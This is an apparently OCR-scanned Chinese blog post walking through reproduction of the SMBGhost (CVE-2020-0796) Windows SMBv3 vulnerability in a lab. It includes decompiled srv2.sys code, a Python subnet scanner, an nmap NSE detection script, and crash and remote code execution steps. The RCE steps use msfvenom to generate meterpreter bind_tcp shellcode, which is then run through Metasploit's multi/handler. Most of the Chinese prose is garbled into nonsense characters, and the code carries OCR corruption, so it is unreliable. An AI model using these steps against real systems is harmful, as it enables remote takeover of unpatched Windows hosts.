CVE-2020-0796 SMBZ i TR (4Pr. Kk A& m
I )

Adminxe F 2020-06-14 11:54:56 KA 2633 WK 2
SRER. BB EBEEW XERL: KEZ B CVE-2020-0796 JF7

5 91 Qéﬁ\ﬁ\\lﬂl ‘E %’%m %

FBUE B RSO ERAISCE, M CC4.0 BY-SA RN, HERIEM LRI AsEMA S,

ASCEERE:  hitps:/blog.csdn.net/ Adminxe/article/details/1 06744182
KA

50 F3CE 10 1T
TR

0x00 Fi &

B — B — B, #KH CVE-2020-0796 (ikiEZ ) #BRKILEM, SREEMR, HIRERHAE
RATRT, HEHET K payload . ¥ 7 payload . M payload. #ré#iTpayload, EI—i, ML
Xk, REpayloadNHETE, REMARKThRE, THBHETHHT.

0x01 J& T iR

RAASGER, SMB3 1AM AEESEHER, NHEPHEREEAFELZEME, EREASIIRNER
IR, ATRER I A R PATEEARS . K& A A 2R R T AR B AT SEELE AR S AT, RBEK
T E iR R AR RIFHAEL D AT BN AR -

0x02 3 il 16 & 5 &

0x03 5 i hix 4


https://blog.csdn.net/Adminxe
https://blog.csdn.net/adminxe/category_10032566.html
https://blog.csdn.net/adminxe/category_10032572.html
https://so.csdn.net/so/search/s.do?q=%25E6%25B0%25B8%25E6%2581%2592%25E4%25B9%258B%25E9%25BB%2591&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=CVE-2020-0796&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E6%25BC%258F%25E6%25B4%259E%25E5%25A4%258D%25E7%258E%25B0&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E6%25B8%2597%25E9%2580%258F%25E6%25B5%258B%25E8%25AF%2595&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E7%25B3%25BB%25E7%25BB%259F%25E5%25AE%2589%25E5%2585%25A8&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/Adminxe/article/details/106744182
https://blog.csdn.net/adminxe/category_10032566.html
https://blog.csdn.net/adminxe/category_10032572.html

Windows 10 Version 1903 for 32-bit Systems

Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows Server, Version 1903 (Server Core installation)
Windows 10 Version 1909 for 32-bit Systems

Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows Server, Version 1909 (Server Core installation)

Wik Hlip: 192.168.1.159

FF Windows"

o Windows10

Microsoft Windows
R 1903 (OS FIEBRE 18362.30)
© 2019 Microsoft Corporation, ERFEIF.

Windows 10 ®AVE e G RRES NS REIREER A EAmRED
Eib S ian s iR SRR,

1R Microsoft SRHERISE, {FalI FRSERSTS:

TARR
e

Ademimens® 630ag

DOV admiNBR.cOm

4+ H> puEE > ZEEe > e
9144>ip

1 BE EREEER BEEEAENGESER

Windows k&
Windows 10 FHE

i 2@ Windows10

=
R
BESIAERAM):
.
SR

WELE. SR
HEE:
HEN2E:
AR
Tted:

Windows ZiE

Intel(R) Core(TM) i7-0750H CPU @ 2.60GHz 2.59 GHz (2 #bES8)
400 GB

64 (HR{EELE, BT xb64 AR
REUATHETENETREEN

DESKTOP-1QK457)
DESKTOP-1QK457)

WORKGROUP

Windows REIE. 95 Microsoft SUHFEIESR

F=& 1D: 00331-10000-00001-AA241 Q= windows
L]

0x04 ¥ J5 2

Aowmea® 6oy

V0 QdmiNRC-cOm




Wi R LA srv2.sysH, T SMBBA 1E 7 Ab 2 [ 45 (1 B8 0, 78 A8 I B0 B i 0% 58 1 2 1 i % 3 R AR K BE 3
TRRER FRAREKERTG% RE BB S .

SMB v3r 37 B4R FE 45, 11 52 SMB HeaderH ff1Protocolld A0x424D53FC Lt 2 0xFC, ‘S, ‘M’, ‘B’.FB-4 5t it B %t
Yo TR 48 1, 1X I smib2: i P S 45 fifé 5 A B ) R 3.

B 2 SMB41 H srv2! Srv2ReceiveHandler & W smb Bz £, AR 3EProtocolld ¥ B 5 57 f) &b FH 28 i

__inte4 __ fastcall Srv2ReceiveHandler(__int64 al, void *Src, __int64 a3, unsigned int a4, unsigned int *a5,

{

//

// XEBHWik#HProtocolld
//
if ( **((_DWORD **)&v20[15].Next[1].Next + 1) == 'BMS\xFC' )
{
if ( KeGetCurrentIrql() > 1u )
{

v20[14].Next = (_SLIST_ENTRY *)vi11;
v20[2].Next = (_SLIST_ENTRY *)Srv2DecompressMessageAsync;
v43 = HIDWORD(v20->Next) == 5;
*((_DWORD *)&v208[3].Next + 2) = 0;
if (v43 )
{
LOBYTE(v71) 1;
LOBYTE(v35) = 1;
SRV2_PERF_ENTER_EX(&v20[32].Next + 1, v35, 307164, "Srv2PostToThreadPool", (_DWORD)v71);
}
v44 = *((_QWORD *)&v20[3].Next[8].Next + 1);
v45 = *(_QWORD *)(v44 + 8i64 * KeGetCurrentNodeNumber() + 8);
if ( !ExpInterlockedPushEntrySList((PSLIST_HEADER)(v45 + 16), v20 + 1) && *(_WORD *)(v45 + 66) )
RfspThreadPoolNodeWakeIdleWorker(v45);
goto LABEL_168;

}
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__inte4 _ fastcall Srv2DecompressData(__int64 pData)
{
__inte4 v2; // rax
COMPRESSION_TRANSFORM_HEADER Header; // xmm@ MAPDST
_ m128i v4; // xmme
unsigned int CompressionAlgorithm; // ebp
__int64 UnComparessBuffer; // rax MAPDST
int v9; // eax
int v11; // [rsp+606h] [rbp+8h]
vll = 0;
v2 = *(_QWORD *)(pData + OxFO);
if ( *(_DWORD *)(v2 + 0x24) < 0x10u ) // X B b O K B ME
return 9xCO00O90Bi6A;
Header = *(COMPRESSION_ TRANSFORM_HEADER *)*(_QWORD *)(v2 + 0x18);// [v2+0x18]H A% P itk Bt RIKBuffer
[/ [v2+ox24 ] AR KE
v4 = mm_srli_sil128((__m128i)Header, 8);
CompressionAlgorithm = *(_DWORD *)(*(_QWORD *)(*(_QWORD *)(pData + Ox50) + Ox1F0i64) + 0x8Ci64);
if ( CompressionAlgorithm != v4.m128i_ul6[0] )
return 9xCO00OOBBi6A;
UnCompressBuffer = SrvNetAllocateBuffer((unsigned int)(Header.OriginalCompressedSegmentSize + v4.m128i_i3
if ( !UnComparessBuffer )
return 9xCO0VVOOA164;
if ( (int)SmbCompressionDecompress (
CompressionAlgorithm, // CompressionAlgorithm
*(_QWORD *)(*(_QWORD *)(pData + OxF@) + ©x18i64) + (unsigned int)Header.Length + ©x10i64,// C
(unsigned int) (*(_DWORD *)(*(_QWORD *)(pData + ©xFO) + ©x24i64) - Header.Length - ©x10),// Co
(unsigned int)Header.Length + *(_QWORD *)(UnComparessBuffer + @x18),// UncompressedBuffer, &4
Header.OriginalCompressedSegmentSize,
&vll) < @
|| (v9 = vi1, vil !'= Header.OriginalCompressedSegmentSize) )

SrvNetFreeBuffer(UnComparessBuffer);
return 9xC000O90Bi64;

}
if ( Header.Length )

{
memmove (
*(void **)(UnComparessBuffer + 24),
(const void *)(*(_QWORD *)(*(_QWORD *)(pData + 240) + 24i64) + 16i64),
(unsigned int)Header.Length);
v9 = vl1l;
}
*(_DWORD *)(UnComparessBuffer + 36) = Header.Length + v9;
Srv2ReplaceReceiveBuffer(pData, UnComparessBuffer);

return 0i64;
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v SMB2 (Serwver Message Block Protocel wversion 2)
¥ SMB2 Header
Server Component: SMB2
Header Length: B4
Credit Charge: @
NT Status: STATUS_SUCCESS (@xReasasas)
Command: MNegotiate Protocol (@)
Credits granted: 1
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python3kxPOC

import socket

import struct

import sys

from netaddr import IPNetwork

pkt = b'\x00\x00\x00\xcO\xfeSMB@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x0
subnet = sys.argv[1]
for ip in IPNetwork(subnet):

sock = socket.socket(socket.AF_INET)
sock.settimeout(3)

try:

sock.connect(( str(ip), 445 ))
except:

sock.close()

continue

sock.send(pkt)

nb,
res

struct.unpack(">I", sock.recv(4))

sock.recv(nb)

if res[68:70] != b"\x11\x03" or res[70:72] != b"\x02\x00":
print(f"{ip} Not vulnerable.")

else:
print(f"{ip} Vulnerable")

0] LL#E F nmap i A 34T 36, MK FEnmapi s KAELSR, B 1E.

local smb = require "smb"
local stdnse = require "stdnse"
local nmap = require "nmap"
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smb-protocols script modified to apply check for CVE-2020-0796 by pscére.
Attempts to list the supported protocols and dialects of a SMB server.
Packet check based on https://github.com/ollypwn/SMBGhost/

The script attempts to initiate a connection using the dialects:

* NT LM ©.12 (SMBv1)

* 2.02 (SMBv2)
* 2.10 (SMBv2)
* 3.00 (SMBv3)
* 3.02 (SMBv3)
*3.11 (SMBv3)

Additionally if SMBvl is found enabled, it will mark it as insecure. This
script is the successor to the (removed) smbv2-enabled script.

11

-- @usage nmap -p445 --script smb-protocols <target>
-- @usage nmap -pl39 --script smb-protocols <target>

-- @output
| smb-protocols:
| dialects:
| NT LM 0.12 (SMBv1l) [dangerous, but default]
| 2.02
- 2.10
| 3.00
| 3.02
| 3.11 (SMBv3.11) compression algorithm - Vulnerable to CVE-2020-0796 SMBGhost

-- @xmloutput

-- <table key="dialects">

-- <elem>NT LM @.12 (SMBv1l) [dangerous, but default]</elem>

-- <elem>2.02</elem>

-- <elem>2.10</elem>

-- <elem>3.00</elem>

-- <elem>3.02</elem>

-- <elem>3.11 (SMBv3.11) [Potentially Vulnerable to CVE-2020-0796 Coronablue]</elem>
-- </table>

author = "Paulino Calderon (Modified by Psc4re)"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html”
categories = {"safe", "discovery"}

hostrule = function(host)
return smb.get_port(host) ~= nil
end

action = function(host,port)
local status, supported_dialects, overrides
local output = stdnse.output_table()
overrides = {}
status, supported_dialects = smb.list_dialects(host, overrides)
if status then

for i, v in pairs(supported_dialects) do -- Mark SMBvl as insecure
if v == "NT LM 0.12" then
supported_dialects[i] = v .. " (SMBvl) [dangerous, but default]"
end
if v == "3.11" then

local msg



local response

local compresionalg

local comp

msg = '\x00\x00\x00\xco\xfeSMB@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x00
local socket = nmap.new_socket()

socket:set_timeout (3000)

socket:connect(host.ip,445)

socket:send(msg)

response,data = socket:receive()

compressionalg= string.sub(data,-2)

if compressionalg == "\x01\x00" then

comp = "LZNT1 compression algorithm - Vulnerable to CVE-2020-0796 SMBGhost"
elseif compressionalg == "\x02\x00" then

comp ="LZ77 compression algorithm - Vulnerable to CVE-2020-0796 SMBGhost"
elseif compressionalg == "\x@0\x00" then

comp ="No Compression Not Vulnerable"

elseif compressionalg == "\x03\x00" then
comp="LZ77+Huffman compression algorithm - Vulnerable to CVE-2020-0796 SMBGhost"
end
supported_dialects[i] = v .." " .. comp
end

end
output.dialects = supported_dialects
end

if #output.dialects>0 then
return output

else
stdnse.debugl("No dialects were accepted")
if nmap.verbosity()>1 then

return "No dialects accepted. Something may be blocking the responses"”

end

end

end
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WdplasKali ip: 192.168.1.160
git clone https://github.com/SecureAuthCorp/impacket.git

cd impacket
python3 setup.py install


https://github.com/insightglacier/SMBGhost_Crash_Poc

root@kali: ~/impacket
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python3 gistfilel.py 192.168.1.159

root@kali: ~/SMBGhost_Crash_Poc
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B S ¥ FsysteminfoFE — T %M T (KB4551762)
kali ™ 4 B pythonhit 4 i) ;< #ishellcode

msfvenom -p windows/x64/meterpreter/bind_tcp lport=2333 -f py -0 exp.py

FE A i HIshellcode

cat exp.py

root@kali: ~
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82 KERNEL_SHELLCODE
83 KERNEL_SHELLCODE
84 KERNEL_SHELLCODE
85 KERNEL _SHELLCODE
86 KERNEL _SHELLCODE
87 KERNEL_SHELLCODE

91 USER_PAYLOAD
92 USER_PAYLOAD
93 USER_PAYLOAD
94 USER_PAYLOAD
95 USER_PAYLOAD
96 USER_PAYLOAD
97 USER_PAYLOAD
98 USER_PAYLOAD
99 USER_PAYLOAD
100 USER_PAYLOAD
101 USER_PAYLOAD
102 USER_PAYLOAD
103 USER_PAYLOAD
104 USER_PAYLOAD
105 USER_PAYLOAD
106 USER_PAYLOAD
107 USER_PAYLOAD
108 USER_PAYLOAD
109 USER_PAYLOAD
110 USER_PAYLOAD

use exploit/multi/handler

set payload windows/x64/meterpreter/bind_tcp
set lport 2333

set rhost 192.168.1.106 (H#xip)

run

it tub at

PML4 at 1ad000

bas f HAL heap ffff
e ntr

PTE at fffffei
PTE NX bit ¢l
at fffff
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